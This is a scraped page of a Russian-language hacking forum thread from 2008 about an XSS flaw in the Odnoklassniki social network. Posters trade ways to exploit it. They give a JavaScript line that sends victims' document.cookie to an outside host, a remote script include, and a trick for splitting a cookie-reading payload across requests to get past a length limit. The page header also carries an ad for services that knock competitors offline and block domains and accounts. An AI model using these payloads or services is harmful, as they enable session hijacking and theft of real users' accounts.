Итак наверно всем известно что на одноклассниках есть xss

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Итак наверно всем известно что на одноклассниках есть xss

Страница 2 из 4

Опции темы

Поиск в этой теме

Опции просмотра

#11

14.04.2008, 16:49

GrAmOzEkA

Участник форума

Регистрация: 25.06.2006

Сообщений: 220

С нами: 10461853

Репутация: 178

Зарегь себе хост где нибуть и создай там *.js
document.location='http://s.netsec.ru/andreya87.gif'+document.cookie';
потом создай index.html с содержанием:
<script src="http://твой сайт/*.js"></script>
должно прокатить

Последний раз редактировалось GrAmOzEkA; 14.04.2008 в 18:11.. Причина: подправил немного теперь работает =)

#12

14.04.2008, 16:52

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

С нами: 11020706

Репутация: 4693

А разбить на несколько запросов никак? Типа

Код:

<script>i="2"+document.cookie;/*
ТУТ ВСЯКАЯ ЛАБУДЕНЬ
*/alert(i);</script>

Ну, т.е. первым запросом шлёшь

Код:

<script>i="2"+document.cookie;/*

вторым

Код:

*/alert(i);</script>

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

#13

14.04.2008, 16:53

Basurman

Постоянный

Регистрация: 10.11.2006

Сообщений: 416

С нами: 10263386

Репутация: 849

#14

14.04.2008, 16:54

andrey_a87

Участник форума

Регистрация: 02.03.2008

Сообщений: 111

С нами: 9574391

Репутация: 6

Цитата:

Сообщение от ~Real F@ck!~

как то можно обойти это ограничение, только я зобыл как, нужно кеша спросить

А можешь плиз у него спросить?

#15

14.04.2008, 16:56

Pir4tt

Участник форума

Регистрация: 03.01.2008

Сообщений: 104

С нами: 9659698

Репутация: 111

а сохранить страничку и ручками исправить ограничение поля на количество символов не прокатит?)) чё за хсс-то там..

Последний раз редактировалось Pir4tt; 14.04.2008 в 16:58..

#16

14.04.2008, 17:26

andrey_a87

Участник форума

Регистрация: 02.03.2008

Сообщений: 111

С нами: 9574391

Репутация: 6

xss на имени весит...измените имя и поробуйте написать у себя на форуме...

#17

14.04.2008, 17:29

andrey_a87

Участник форума

Регистрация: 02.03.2008

Сообщений: 111

С нами: 9574391

Репутация: 6

способ gramozeki не прокатывает,а способ на разбиение я считаю не уместным....может я не прав...

#18

14.04.2008, 17:30

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

С нами: 11020706

Репутация: 4693

andrey_a87, ну ты попробуй

А вообще то, что Basurman написал должно прокатить.

Последний раз редактировалось Qwazar; 14.04.2008 в 17:36..

#19

14.04.2008, 18:23

miniden

Участник форума

Регистрация: 20.10.2006

Сообщений: 211

С нами: 10293035

Репутация: 36

я делал фреймом , подсойденял скирипт, но всеравно, даже если оно и вместиться, то потом на форуме имя всеравно обрежут, тоесть для алерта места хватает, а для норм скрипта нет...

#20

14.04.2008, 18:34

~~Игорь Михайлович~~

Banned

Регистрация: 14.04.2008

Сообщений: 3

С нами: 9513026

Репутация: 1

создай на сайте дж скрипт и скр его.

Страница 2 из 4

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Письма девочек-подростков в журнал "Yes!"	Lolik	Болталка	43	03.03.2009 22:43
Наша служба и опасна и трудна)	Copyright_2000	Болталка	10	28.05.2008 19:20
Сексуальные новости 2003 года	Рогатый Трупоед	Болталка	9	23.10.2007 00:24

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход